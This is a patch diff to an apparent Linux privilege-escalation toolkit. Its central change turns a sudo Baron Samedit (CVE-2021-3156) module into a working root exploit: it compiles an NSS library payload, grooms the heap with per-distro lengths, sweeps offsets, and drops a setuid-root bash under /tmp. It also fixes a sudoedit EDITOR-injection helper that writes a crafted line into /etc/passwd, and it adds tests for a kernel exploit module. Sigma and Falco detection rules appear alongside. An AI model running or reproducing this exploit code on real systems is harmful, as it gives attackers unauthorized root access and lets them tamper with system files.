|
||||||
if (!ctx->json) {
|
/* Pick the grooming length-set by libc family (distro proxy). */
|
||||||
fprintf(stderr, "[*] sudo_samedit: building Qualys-style trigger argv\n");
|
const struct samedit_target *tgt = &samedit_ubuntu;
|
||||||
fprintf(stderr,
|
if (ctx->host && (strcmp(ctx->host->distro_id, "debian") == 0)) tgt = &samedit_debian;
|
||||||
"[!] sudo_samedit: heads-up — public exploitation requires\n"
|
if (!ctx->json)
|
||||||
" per-distro heap-overlap offsets (libnss-files / libc).\n"
|
fprintf(stderr, "[*] sudo_samedit: target profile = %s\n", tgt->name);
|
||||||
" Without that tuning the bug crashes sudo instead of\n"
|
|
||||||
" handing back a shell. We will drive the trigger and\n"
|
|
||||||
" verify uid==0 outcome empirically; on failure we report\n"
|
|
||||||
" EXPLOIT_FAIL rather than claiming success.\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Build argv. argv[0]="sudoedit", argv[1]="-s",
|
/* Scratch workdir with the NSS payload dir. */
|
||||||
* argv[2]="\\" + padding, ..., argv[N-1]=NULL.
|
char tmpl[] = "/tmp/.sk-samedit-XXXXXX";
|
||||||
*
|
char *wd = mkdtemp(tmpl);
|
||||||
* Each padding arg is the Qualys-style "A...\\" repeating tail.
|
if (!wd) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
|
||||||
* On a vulnerable target this drives the unescape loop past the
|
snprintf(samedit_workdir, sizeof samedit_workdir, "%s", wd);
|
||||||
* end of the heap buffer. */
|
|
||||||
char *argv[SUDO_SAMEDIT_ARGC + 1];
|
|
||||||
char *padbufs[SUDO_SAMEDIT_ARGC];
|
|
||||||
memset(padbufs, 0, sizeof padbufs);
|
|
||||||
|
|
||||||
argv[0] = (char *)"sudoedit";
|
long tag = (long)getpid();
|
||||||
argv[1] = (char *)"-s";
|
snprintf(samedit_proof, sizeof samedit_proof, "/tmp/.sk-samedit-%ld.proof", tag);
|
||||||
/* argv[2] is the canonical trailing-backslash trigger. */
|
snprintf(samedit_rootbash, sizeof samedit_rootbash, "/tmp/.sk-samedit-%ld.rootbash", tag);
|
||||||
argv[2] = strdup("\\");
|
|
||||||
if (!argv[2]) return SKELETONKEY_TEST_ERROR;
|
|
||||||
|
|
||||||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) {
|
char nssdir[300], payload_c[320], nsslib[512], log_unused[300];
|
||||||
char *buf = (char *)malloc(SUDO_SAMEDIT_PADLEN + 4);
|
(void)log_unused;
|
||||||
if (!buf) {
|
snprintf(nssdir, sizeof nssdir, "%s/libnss_X", wd);
|
||||||
for (int j = 3; j < i; j++) free(padbufs[j]);
|
snprintf(payload_c, sizeof payload_c, "%s/payload.c", wd);
|
||||||
free(argv[2]);
|
snprintf(nsslib, sizeof nsslib, "%s/libnss_X/P0P_SH3LLZ_ .so.2", wd);
|
||||||
return SKELETONKEY_TEST_ERROR;
|
if (mkdir(nssdir, 0755) != 0 && errno != EEXIST) {
|
||||||
}
|
perror("mkdir libnss_X");
|
||||||
memset(buf, 'A', SUDO_SAMEDIT_PADLEN);
|
|
||||||
buf[SUDO_SAMEDIT_PADLEN] = '\\';
|
|
||||||
buf[SUDO_SAMEDIT_PADLEN + 1] = 0;
|
|
||||||
padbufs[i] = buf;
|
|
||||||
argv[i] = buf;
|
|
||||||
}
|
|
||||||
argv[SUDO_SAMEDIT_ARGC] = NULL;
|
|
||||||
|
|
||||||
/* Craft envp mirroring the original PoC: LC_... and TZ tricks
|
|
||||||
* that landed the overlap on the canonical distro PoCs. These
|
|
||||||
* are harmless if landing fails; their value is positioning the
|
|
||||||
* heap so the overflow lands on a useful target. */
|
|
||||||
char *envp[] = {
|
|
||||||
(char *)"LC_ALL=C.UTF-8@",
|
|
||||||
(char *)"TZ=:",
|
|
||||||
(char *)"LC_CTYPE=C.UTF-8@",
|
|
||||||
(char *)"SUDO_EDITOR=A",
|
|
||||||
(char *)"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
|
|
||||||
NULL,
|
|
||||||
};
|
|
||||||
|
|
||||||
if (!ctx->json) {
|
|
||||||
fprintf(stderr, "[*] sudo_samedit: forking trigger child (%s argv[0]=sudoedit)\n",
|
|
||||||
sudoedit);
|
|
||||||
}
|
|
||||||
|
|
||||||
pid_t pid = fork();
|
|
||||||
if (pid < 0) {
|
|
||||||
perror("fork");
|
|
||||||
free(argv[2]);
|
|
||||||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
|
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
if (pid == 0) {
|
|
||||||
/* Child: drive the trigger. If the bug lands and we get a
|
/* Write + compile the NSS payload. */
|
||||||
* root context, the chain in the original PoC then re-execs
|
int fd = open(payload_c, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||||
* a shell. We don't ship that shell-spawn here — we just
|
if (fd < 0) { perror("open payload.c"); return SKELETONKEY_TEST_ERROR; }
|
||||||
* exit nonzero so the parent's verifier can sample uid. */
|
(void)!write(fd, samedit_payload_src, sizeof samedit_payload_src - 1);
|
||||||
execve(sudoedit, argv, envp);
|
close(fd);
|
||||||
/* execve failed (binary missing or kernel-blocked). */
|
|
||||||
_exit(127);
|
char dP[320], dR[320];
|
||||||
|
snprintf(dP, sizeof dP, "-DSK_PROOF=\"%s\"", samedit_proof);
|
||||||
|
snprintf(dR, sizeof dR, "-DSK_ROOTBASH=\"%s\"", samedit_rootbash);
|
||||||
|
char *cc_argv[] = {
|
||||||
|
(char *)cc, (char *)"-fPIC", (char *)"-shared", (char *)"-O2", (char *)"-w",
|
||||||
|
(char *)"-o", nsslib, payload_c, dP, dR, NULL,
|
||||||
|
};
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] sudo_samedit: building NSS payload with %s\n", cc);
|
||||||
|
if (samedit_run(cc_argv, NULL, 60) != 0) {
|
||||||
|
fprintf(stderr, "[-] sudo_samedit: payload compile failed\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
int status = 0;
|
if (!ctx->json)
|
||||||
waitpid(pid, &status, 0);
|
fprintf(stderr, "[*] sudo_samedit: driving sudoedit heap overflow "
|
||||||
|
"(primary lengths %d/%d/%d/%d)\n",
|
||||||
|
tgt->smash_a, tgt->smash_b, tgt->null_stomp, tgt->lc_all);
|
||||||
|
|
||||||
/* Verifier: even on the rare "no crash" path, we don't know if
|
/* Primary attempt with the profile's exact lengths. */
|
||||||
* the bug landed without spawning a privileged helper. Per the
|
bool rooted = samedit_try(sudoedit, wd, tgt->smash_a, tgt->smash_b,
|
||||||
* verified-vs-claimed bar, only claim success if uid is 0 in a
|
tgt->null_stomp, tgt->lc_all, samedit_proof);
|
||||||
* post-trigger probe (which would require the chain to have
|
|
||||||
* persisted a setuid artifact — it didn't). So: report honestly. */
|
/* Fallback: sweep null_stomp_len around the profile value (libc drift),
|
||||||
if (geteuid() == 0) {
|
* exactly the axis blasty's brute.sh perturbs. Bounded + stops on root. */
|
||||||
if (!ctx->json) {
|
if (!rooted) {
|
||||||
fprintf(stderr, "[+] sudo_samedit: post-trigger geteuid()==0 — root!\n");
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] sudo_samedit: primary miss — sweeping null_stomp_len "
|
||||||
|
"%d..%d\n", tgt->null_stomp - 8, tgt->null_stomp + 8);
|
||||||
|
for (int ns = tgt->null_stomp - 8; ns <= tgt->null_stomp + 8 && !rooted; ns++) {
|
||||||
|
if (ns == tgt->null_stomp || ns < 1) continue;
|
||||||
|
rooted = samedit_try(sudoedit, wd, tgt->smash_a, tgt->smash_b,
|
||||||
|
ns, tgt->lc_all, samedit_proof);
|
||||||
|
if (rooted && !ctx->json)
|
||||||
|
fprintf(stderr, "[+] sudo_samedit: landed at null_stomp_len=%d\n", ns);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Best-effort scrub of the scratch build dir (keep proof + rootbash). */
|
||||||
|
{ char rm[400]; snprintf(rm, sizeof rm, "rm -rf '%s' 2>/dev/null", wd);
|
||||||
|
if (system(rm) != 0) { /* ignore */ } }
|
||||||
|
|
||||||
|
if (rooted) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] sudo_samedit: ROOT — root-owned proof %s\n", samedit_proof);
|
||||||
|
fprintf(stderr, "[+] sudo_samedit: setuid-root shell available: %s -p\n",
|
||||||
|
samedit_rootbash);
|
||||||
}
|
}
|
||||||
/* Leak the buffers; we're about to exec a shell anyway. */
|
|
||||||
return SKELETONKEY_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (WIFSIGNALED(status)) {
|
if (!ctx->json)
|
||||||
if (!ctx->json) {
|
fprintf(stderr, "[-] sudo_samedit: no root artifact after primary + sweep — "
|
||||||
fprintf(stderr,
|
"honest EXPLOIT_FAIL. Host is likely backport-patched, or the "
|
||||||
"[-] sudo_samedit: child died on signal %d "
|
"libc heap layout needs lengths outside the swept range "
|
||||||
"(likely sudo SIGSEGV from the overflow) — trigger fired\n"
|
"(see blasty brute.sh for a wider search).\n");
|
||||||
" but landing did not produce a root shell. Per-distro\n"
|
|
||||||
" offset tuning required.\n",
|
|
||||||
WTERMSIG(status));
|
|
||||||
}
|
|
||||||
} else if (WIFEXITED(status)) {
|
|
||||||
if (!ctx->json) {
|
|
||||||
fprintf(stderr,
|
|
||||||
"[-] sudo_samedit: child exited %d — trigger did not\n"
|
|
||||||
" crash sudo; the host is most likely patched at the\n"
|
|
||||||
" parser level even though the version string was in\n"
|
|
||||||
" range. Reporting EXPLOIT_FAIL.\n",
|
|
||||||
WEXITSTATUS(status));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Best-effort free. */
|
|
||||||
free(argv[2]);
|
|
||||||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
|
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -413,15 +450,15 @@ static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *c
|
|||||||
|
|
||||||
static skeletonkey_result_t sudo_samedit_cleanup(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t sudo_samedit_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
if (!ctx->json)
|
||||||
/* sudoedit creates "~/.sudo_edit_*" temp files on the way through.
|
fprintf(stderr, "[*] sudo_samedit: removing artifacts + scratch dir\n");
|
||||||
* Best-effort unlink of any obvious crumbs left by our trigger. */
|
if (samedit_proof[0]) unlink(samedit_proof);
|
||||||
if (!ctx->json) {
|
if (samedit_rootbash[0]) unlink(samedit_rootbash);
|
||||||
fprintf(stderr, "[*] sudo_samedit: removing /tmp/skeletonkey-samedit-* crumbs\n");
|
if (samedit_workdir[0]) {
|
||||||
}
|
char rm[400]; snprintf(rm, sizeof rm, "rm -rf '%s' 2>/dev/null", samedit_workdir);
|
||||||
if (system("rm -rf /tmp/skeletonkey-samedit-* /tmp/.sudo_edit_* 2>/dev/null") != 0) {
|
if (system(rm) != 0) { /* ignore */ }
|
||||||
/* harmless — likely no files matched */
|
|
||||||
}
|
}
|
||||||
|
if (system("rm -rf /tmp/.sudo_edit_* 2>/dev/null") != 0) { /* ignore */ }
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -446,7 +483,8 @@ static const char sudo_samedit_sigma[] =
|
|||||||
" Detects sudoedit (or sudo invoked as sudoedit) executed with the\n"
|
" Detects sudoedit (or sudo invoked as sudoedit) executed with the\n"
|
||||||
" -s flag and a command-line argument ending in a lone backslash —\n"
|
" -s flag and a command-line argument ending in a lone backslash —\n"
|
||||||
" the canonical Qualys trigger for the heap overflow in\n"
|
" the canonical Qualys trigger for the heap overflow in\n"
|
||||||
" plugins/sudoers/sudoers.c set_cmnd().\n"
|
" plugins/sudoers/sudoers.c set_cmnd(). A libnss_X/ directory in the\n"
|
||||||
|
" caller's CWD is a strong corroborating artifact.\n"
|
||||||
"logsource:\n"
|
"logsource:\n"
|
||||||
" product: linux\n"
|
" product: linux\n"
|
||||||
" service: auditd\n"
|
" service: auditd\n"
|
||||||
@@ -472,14 +510,12 @@ static const char sudo_samedit_sigma[] =
|
|||||||
" - attack.t1068\n"
|
" - attack.t1068\n"
|
||||||
" - cve.2021.3156\n";
|
" - cve.2021.3156\n";
|
||||||
|
|
||||||
/* ---- Module registration ----------------------------------------- */
|
|
||||||
|
|
||||||
static const char sudo_samedit_falco[] =
|
static const char sudo_samedit_falco[] =
|
||||||
"- rule: sudoedit with -s and trailing-backslash argv (Baron Samedit)\n"
|
"- rule: sudoedit with -s and trailing-backslash argv (Baron Samedit)\n"
|
||||||
" desc: |\n"
|
" desc: |\n"
|
||||||
" sudoedit invoked with -s and one or more args ending in '\\'.\n"
|
" sudoedit invoked with -s and one or more args ending in '\\'.\n"
|
||||||
" The parser's unescape loop walks past the argv string into\n"
|
" The parser's unescape loop walks past the argv string into\n"
|
||||||
" adjacent stack/env, overflowing the heap buffer.\n"
|
" adjacent env, overflowing the heap buffer.\n"
|
||||||
" CVE-2021-3156. False positives: extraordinarily rare;\n"
|
" CVE-2021-3156. False positives: extraordinarily rare;\n"
|
||||||
" legitimate sudoedit usage does not need trailing backslashes.\n"
|
" legitimate sudoedit usage does not need trailing backslashes.\n"
|
||||||
" condition: >\n"
|
" condition: >\n"
|
||||||
@@ -491,10 +527,12 @@ static const char sudo_samedit_falco[] =
|
|||||||
" priority: CRITICAL\n"
|
" priority: CRITICAL\n"
|
||||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2021.3156]\n";
|
" tags: [process, mitre_privilege_escalation, T1068, cve.2021.3156]\n";
|
||||||
|
|
||||||
|
/* ---- Module registration ----------------------------------------- */
|
||||||
|
|
||||||
const struct skeletonkey_module sudo_samedit_module = {
|
const struct skeletonkey_module sudo_samedit_module = {
|
||||||
.name = "sudo_samedit",
|
.name = "sudo_samedit",
|
||||||
.cve = "CVE-2021-3156",
|
.cve = "CVE-2021-3156",
|
||||||
.summary = "sudo Baron Samedit heap overflow via sudoedit -s '\\\\' (Qualys)",
|
.summary = "sudo Baron Samedit heap overflow via sudoedit -s → NSS libnss_X hijack → root (blasty)",
|
||||||
.family = "sudo",
|
.family = "sudo",
|
||||||
.kernel_range = "userspace — sudo 1.8.2 ≤ V ≤ 1.9.5p1 (fixed in 1.9.5p2)",
|
.kernel_range = "userspace — sudo 1.8.2 ≤ V ≤ 1.9.5p1 (fixed in 1.9.5p2)",
|
||||||
.detect = sudo_samedit_detect,
|
.detect = sudo_samedit_detect,
|
||||||
@@ -505,7 +543,7 @@ const struct skeletonkey_module sudo_samedit_module = {
|
|||||||
.detect_sigma = sudo_samedit_sigma,
|
.detect_sigma = sudo_samedit_sigma,
|
||||||
.detect_yara = NULL,
|
.detect_yara = NULL,
|
||||||
.detect_falco = sudo_samedit_falco,
|
.detect_falco = sudo_samedit_falco,
|
||||||
.opsec_notes = "Invokes sudoedit with argv = { 'sudoedit', '-s', trailing-backslash, then ~60 padding args each ending in backslash }; the parser's unescape loop in set_cmnd() walks past the end of the argv string for the trailing-backslash argument, copying adjacent stack/env into an undersized heap buffer. Audit-visible via execve(/usr/bin/sudoedit) with -s and a trailing-backslash argv. No persistent file artifacts (only best-effort removal of /tmp/.sudo_edit_*). No network. Dmesg silent unless sudo crashes (SIGSEGV). Per-distro heap layout determines landing; verifies geteuid()==0 afterward.",
|
.opsec_notes = "Compiles a small NSS payload on the target (needs cc/gcc), then execs sudoedit with argv = { 'sudoedit','-s','AAAA…\\','\\','BBBB…\\' } and an env of N backslashes + 'X/P0P_SH3LLZ_' + a padded LC_ALL, from a CWD holding libnss_X/'P0P_SH3LLZ_ .so.2'. The set_cmnd() unescape overflow overwrites a glibc NSS service_user so the subsequent lookup dlopen's the payload, whose constructor runs while sudo is root. Very audit-visible: execve(sudoedit) with -s + trailing-backslash argv, an unusual all-backslash environ, and a libnss_X/ dir in CWD. Grooming lengths are libc-family specific; a miss sweeps null_stomp_len. Artifacts: root-owned proof + setuid bash under /tmp (removed by cleanup()); scratch build dir is scrubbed during the run. Misses may SIGSEGV sudo (dmesg).",
|
||||||
.arch_support = "any",
|
.arch_support = "any",
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -291,14 +291,21 @@ static const char HELPER_SOURCE[] =
|
|||||||
"#include <unistd.h>\n"
|
"#include <unistd.h>\n"
|
||||||
"#include <fcntl.h>\n"
|
"#include <fcntl.h>\n"
|
||||||
"int main(int argc, char **argv) {\n"
|
"int main(int argc, char **argv) {\n"
|
||||||
" /* sudoedit invokes us with one editable temp per file. The\n"
|
" /* sudoedit invokes us with one editable temp copy per file, each\n"
|
||||||
" * post-`--' target's editable copy is argv[argc-1]. We can't\n"
|
" * named <basename>.XXXXXX in a tmp dir (e.g. /var/tmp/passwd.AbC123\n"
|
||||||
" * write /etc/passwd directly (sudoedit edits a tmp copy and\n"
|
" * for /etc/passwd). We must write the TARGET's copy — NOT argv[argc-1],\n"
|
||||||
" * then *copies it back as root*), so we modify the tmp copy\n"
|
" * which is the sudoers-authorized cover file. Match by the target's\n"
|
||||||
" * and let sudoedit do the privileged install for us. */\n"
|
" * basename prefix (passed in SKEL_TARGET). We modify the tmp copy and\n"
|
||||||
|
" * sudoedit copies it back over the real file as root. */\n"
|
||||||
" if (argc < 2) return 1;\n"
|
" if (argc < 2) return 1;\n"
|
||||||
" /* The LAST argv is the post-`--' target (per sudoedit's parser). */\n"
|
" const char *tb = getenv(\"SKEL_TARGET\"); if (!tb || !*tb) tb = \"passwd\";\n"
|
||||||
" const char *path = argv[argc-1];\n"
|
" char pref[128]; snprintf(pref, sizeof pref, \"%s.\", tb);\n"
|
||||||
|
" const char *path = NULL;\n"
|
||||||
|
" for (int i = 1; i < argc; i++) {\n"
|
||||||
|
" const char *b = strrchr(argv[i], '/'); b = b ? b+1 : argv[i];\n"
|
||||||
|
" if (strncmp(b, pref, strlen(pref)) == 0) { path = argv[i]; break; }\n"
|
||||||
|
" }\n"
|
||||||
|
" if (!path) path = argv[argc-1]; /* fallback */\n"
|
||||||
" int fd = open(path, O_WRONLY|O_APPEND);\n"
|
" int fd = open(path, O_WRONLY|O_APPEND);\n"
|
||||||
" if (fd < 0) { perror(\"open\"); return 2; }\n"
|
" if (fd < 0) { perror(\"open\"); return 2; }\n"
|
||||||
" const char *line = getenv(\"SKEL_LINE\");\n"
|
" const char *line = getenv(\"SKEL_LINE\");\n"
|
||||||
@@ -441,6 +448,12 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx
|
|||||||
char skel_env[256];
|
char skel_env[256];
|
||||||
snprintf(skel_env, sizeof skel_env, "SKEL_LINE=%s", SK_PASSWD_ENTRY);
|
snprintf(skel_env, sizeof skel_env, "SKEL_LINE=%s", SK_PASSWD_ENTRY);
|
||||||
|
|
||||||
|
/* Pass the target's basename so the helper writes the RIGHT tmp copy
|
||||||
|
* (sudoedit names each editable copy <basename>.XXXXXX). */
|
||||||
|
const char *tb = strrchr(target, '/'); tb = tb ? tb + 1 : target;
|
||||||
|
char tgt_env[128];
|
||||||
|
snprintf(tgt_env, sizeof tgt_env, "SKEL_TARGET=%s", tb);
|
||||||
|
|
||||||
/* Construct argv/envp for execve. We need a clean env so the
|
/* Construct argv/envp for execve. We need a clean env so the
|
||||||
* EDITOR string sudo sees is exactly ours. PATH is needed so the
|
* EDITOR string sudo sees is exactly ours. PATH is needed so the
|
||||||
* compiled helper can be located — except we pass it absolute. */
|
* compiled helper can be located — except we pass it absolute. */
|
||||||
@@ -455,6 +468,7 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx
|
|||||||
char *envp[] = {
|
char *envp[] = {
|
||||||
editor_env,
|
editor_env,
|
||||||
skel_env,
|
skel_env,
|
||||||
|
tgt_env,
|
||||||
"PATH=/usr/sbin:/usr/bin:/sbin:/bin",
|
"PATH=/usr/sbin:/usr/bin:/sbin:/bin",
|
||||||
"TERM=dumb",
|
"TERM=dumb",
|
||||||
NULL,
|
NULL,
|
||||||
@@ -469,6 +483,13 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx
|
|||||||
pid = fork();
|
pid = fork();
|
||||||
if (pid < 0) { perror("fork"); goto fail; }
|
if (pid < 0) { perror("fork"); goto fail; }
|
||||||
if (pid == 0) {
|
if (pid == 0) {
|
||||||
|
/* CRITICAL: run from a NON-writable directory. sudoedit refuses to
|
||||||
|
* edit any file whose parent directory is writable by the invoking
|
||||||
|
* user (anti-symlink check). The injected "--" is resolved as a file
|
||||||
|
* relative to CWD, so a writable CWD (home/tmp) makes sudoedit abort
|
||||||
|
* with "--: editing files in a writable directory is not permitted"
|
||||||
|
* before it ever runs the editor. "/" is not user-writable. */
|
||||||
|
if (chdir("/") != 0) { perror("chdir /"); _exit(126); }
|
||||||
execve(sudoedit_path, new_argv, envp);
|
execve(sudoedit_path, new_argv, envp);
|
||||||
perror("execve(sudoedit)");
|
perror("execve(sudoedit)");
|
||||||
_exit(127);
|
_exit(127);
|
||||||
|
|||||||
+2
-1
@@ -35,7 +35,7 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
#define SKELETONKEY_VERSION "0.9.13"
|
#define SKELETONKEY_VERSION "0.10.0"
|
||||||
|
|
||||||
static const char BANNER[] =
|
static const char BANNER[] =
|
||||||
"\n"
|
"\n"
|
||||||
@@ -1018,6 +1018,7 @@ static int module_safety_rank(const char *n)
|
|||||||
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
|
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
|
||||||
if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
|
if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
|
||||||
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
|
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
|
||||||
|
if (!strcmp(n, "refluxfs")) return 55; /* XFS reflink CoW race; DATA-oriented — cannot touch kernel memory (no oops/KASAN/panic path, unlike bad_epoll/ghostlock), so it never downs the box. VM-verified full root pop, but gated behind --full-chain because that path persistently rewrites /etc/passwd (backed up + restorable); plain --auto runs only the safe own-files trigger */
|
||||||
if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
|
if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
|
||||||
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
|
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
|
||||||
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
|
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
|
||||||
|
|||||||
@@ -74,6 +74,7 @@ extern const struct skeletonkey_module cifswitch_module;
|
|||||||
extern const struct skeletonkey_module nft_catchall_module;
|
extern const struct skeletonkey_module nft_catchall_module;
|
||||||
extern const struct skeletonkey_module bad_epoll_module;
|
extern const struct skeletonkey_module bad_epoll_module;
|
||||||
extern const struct skeletonkey_module ghostlock_module;
|
extern const struct skeletonkey_module ghostlock_module;
|
||||||
|
extern const struct skeletonkey_module refluxfs_module;
|
||||||
|
|
||||||
static int g_pass = 0;
|
static int g_pass = 0;
|
||||||
static int g_fail = 0;
|
static int g_fail = 0;
|
||||||
@@ -1010,6 +1011,127 @@ static void run_all(void)
|
|||||||
&ghostlock_module, &h_ghl_710,
|
&ghostlock_module, &h_ghl_710,
|
||||||
SKELETONKEY_OK);
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* ── refluxfs (CVE-2026-64600) ───────────────────────────────
|
||||||
|
* Version gate over a THREE-branch backport table (fixed 7.1.4 /
|
||||||
|
* 6.18.39 / 6.12.96 on-branch, 7.2+ inherits mainline; introduced
|
||||||
|
* 4.11) AND a storage precondition: the XFS reflink CoW race is only
|
||||||
|
* reachable where a writable XFS filesystem is mounted, so a
|
||||||
|
* vulnerable kernel on an ext4/btrfs-only host is PRECOND_FAIL, not
|
||||||
|
* VULNERABLE. We drive that deterministically with
|
||||||
|
* SKELETONKEY_XFS_ASSUME_REFLINK (1=reachable, 0=no XFS) so the rows
|
||||||
|
* don't depend on the CI runner having an XFS volume. Patched and
|
||||||
|
* predates-the-bug rows return OK before the probe is consulted, so
|
||||||
|
* they hold regardless of the override.
|
||||||
|
*
|
||||||
|
* The RHEL-family base versions carry real weight here: 4.18 (el8)
|
||||||
|
* and 5.14 (el9) are the primary affected population and sit below
|
||||||
|
* every table entry. Note those vendors backport without bumping the
|
||||||
|
* upstream version — detect() warns about that at runtime; these rows
|
||||||
|
* pin the upstream-version behaviour only. */
|
||||||
|
setenv("SKELETONKEY_XFS_ASSUME_REFLINK", "1", 1);
|
||||||
|
|
||||||
|
/* 3.10.0 — RHEL/CentOS 7; predates reflink entirely → OK */
|
||||||
|
struct skeletonkey_host h_rfx_3100 =
|
||||||
|
mk_host(h_kernel_6_12, 3, 10, 0, "3.10.0-el7-test");
|
||||||
|
run_one("refluxfs: 3.10.0 (el7) predates XFS reflink → OK",
|
||||||
|
&refluxfs_module, &h_rfx_3100,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 4.10.0 — one below the 4.11 introduction → OK */
|
||||||
|
struct skeletonkey_host h_rfx_4100 =
|
||||||
|
mk_host(h_kernel_6_12, 4, 10, 0, "4.10.0-test");
|
||||||
|
run_one("refluxfs: 4.10.0 one below the 4.11 introduction → OK",
|
||||||
|
&refluxfs_module, &h_rfx_4100,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 4.18.0 — RHEL 8 upstream base, below every entry → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_rfx_4180 =
|
||||||
|
mk_host(h_kernel_6_12, 4, 18, 0, "4.18.0-el8-test");
|
||||||
|
run_one("refluxfs: 4.18.0 (el8 base) + XFS → VULNERABLE",
|
||||||
|
&refluxfs_module, &h_rfx_4180,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 5.14.0 — RHEL 9 upstream base → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_rfx_5140 =
|
||||||
|
mk_host(h_kernel_6_12, 5, 14, 0, "5.14.0-el9-test");
|
||||||
|
run_one("refluxfs: 5.14.0 (el9 base) + XFS → VULNERABLE",
|
||||||
|
&refluxfs_module, &h_rfx_5140,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 6.1.100 — LTS branch with no published backport → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_rfx_61100 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 1, 100, "6.1.100-test");
|
||||||
|
run_one("refluxfs: 6.1.100 (LTS, no upstream fix) → VULNERABLE",
|
||||||
|
&refluxfs_module, &h_rfx_61100,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 6.12.95 one below the 6.12.96 backport → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_rfx_61295 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 12, 95, "6.12.95-test");
|
||||||
|
run_one("refluxfs: 6.12.95 below the 6.12.96 backport → VULNERABLE",
|
||||||
|
&refluxfs_module, &h_rfx_61295,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 6.12.96 exact backport → OK via patch table */
|
||||||
|
struct skeletonkey_host h_rfx_61296 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 12, 96, "6.12.96-test");
|
||||||
|
run_one("refluxfs: 6.12.96 (exact backport) → OK via patch table",
|
||||||
|
&refluxfs_module, &h_rfx_61296,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 6.13.0 — newer than 6.12.96 but OLDER than 6.18.39/7.1.4, an EOL
|
||||||
|
* branch with no fix → must stay VULNERABLE ("newer than ALL" test). */
|
||||||
|
struct skeletonkey_host h_rfx_6130 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 13, 0, "6.13.0-test");
|
||||||
|
run_one("refluxfs: 6.13.0 newer than some entries but not all → VULNERABLE",
|
||||||
|
&refluxfs_module, &h_rfx_6130,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 6.18.38 one below the 6.18.39 backport → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_rfx_61838 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 18, 38, "6.18.38-test");
|
||||||
|
run_one("refluxfs: 6.18.38 below the 6.18.39 backport → VULNERABLE",
|
||||||
|
&refluxfs_module, &h_rfx_61838,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 6.18.39 exact backport → OK */
|
||||||
|
struct skeletonkey_host h_rfx_61839 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 18, 39, "6.18.39-test");
